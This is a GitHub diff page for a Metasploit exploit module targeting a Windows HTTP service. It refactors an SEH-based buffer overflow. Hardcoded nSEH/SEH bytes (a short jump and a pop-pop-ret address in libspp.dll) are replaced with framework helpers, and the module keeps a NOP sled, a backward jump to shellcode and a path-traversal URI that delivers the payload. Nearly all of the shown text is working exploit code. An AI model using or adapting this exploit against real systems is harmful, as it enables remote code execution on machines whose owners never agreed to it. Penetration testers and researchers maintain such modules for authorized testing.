File tree Expand file tree Collapse file tree 1 file changed +5
-6
lines changed
modules/exploits/windows/http Expand file tree Collapse file tree 1 file changed +5
-6
lines changed Original file line number Diff line number Diff line change @@ -32,7 +32,7 @@ def initialize(info = {})
32
32
] ,
33
33
'DefaultOptions' =>
34
34
{
35
- 'EXITFUNC' => 'none '
35
+ 'EXITFUNC' => 'thread '
36
36
} ,
37
37
'Platform' => 'win' ,
38
38
'Payload' =>
@@ -76,13 +76,12 @@ def exploit
76
76
print_status ( "Generating exploit..." )
77
77
exp = payload . encoded
78
78
exp << 'A' * ( target [ 'Offset' ] - payload . encoded . length ) # buffer of trash until we get to offset
79
- exp << "\xEB \x10 \x90 \x90 " # nSEH - jmp short 0x12 down to next record
80
- exp << "\xDD \xAD \x13 \x10 " # SEH - pop ebx, pop ecx, retn - libspp.dll
81
- exp << "\x90 " * 10
79
+ exp << generate_seh_record ( target . ret )
80
+ exp << make_nops ( 10 ) # NOP sled to make sure we land on jmp to shellcode
82
81
exp << "\xE9 \x25 \xBF \xFF \xFF " # jmp 0xffffbf2a - jmp back to shellcode start
83
- exp << 'B' * ( 5000 - exp . length )
82
+ exp << 'B' * ( 5000 - exp . length ) #padding
84
83
85
- print_status ( "Sending exploit." )
84
+ print_status ( "Sending exploit... " )
86
85
87
86
res = send_request_cgi ( {
88
87
'uri' => '/../' + exp ,
You can’t perform that action at this time.
0 commit comments